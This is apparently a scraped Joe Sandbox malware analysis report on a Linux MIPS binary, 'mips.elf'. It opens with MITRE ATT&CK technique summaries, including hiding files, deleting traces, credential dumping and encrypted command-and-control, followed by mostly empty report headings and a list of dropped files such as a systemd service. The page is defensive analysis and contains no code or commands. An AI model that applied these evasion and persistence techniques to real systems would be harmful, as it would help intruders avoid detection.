Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.ntKeKC (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: mips.elf PID: 5441, Parent PID: 5367

General

Chronological Activities

Analysis Process: mips.elf PID: 5443, Parent PID: 5441

General

Chronological Activities

Analysis Process: mips.elf PID: 5445, Parent PID: 5443

General

Chronological Activities

Analysis Process: mips.elf PID: 5447, Parent PID: 5443

General

Chronological Activities

Analysis Process: mips.elf PID: 5451, Parent PID: 5447

General

Chronological Activities

Analysis Process: mips.elf PID: 5449, Parent PID: 5443

General

Linux Analysis Report
mips.elf